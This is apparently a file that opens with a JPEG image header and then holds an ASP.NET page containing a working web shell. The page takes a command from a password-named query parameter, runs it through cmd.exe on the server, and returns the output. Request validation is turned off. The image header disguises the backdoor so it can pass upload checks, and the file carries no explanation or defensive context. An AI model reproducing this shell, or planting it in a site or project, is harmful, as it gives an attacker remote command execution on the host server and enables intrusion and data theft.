JFIFHH                             !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ <%@ Page Language="C#" validateRequest="false" %> <% // 同上面的代码(Response.Clear() + 命令执行逻辑) string pwd = "syma_redteam"; string cmd = Request.QueryString[pwd]; if (!string.IsNullOrEmpty(cmd)) { Response.Clear(); var p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.StartInfo.CreateNoWindow = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); p.WaitForExit(); Response.End(); } %>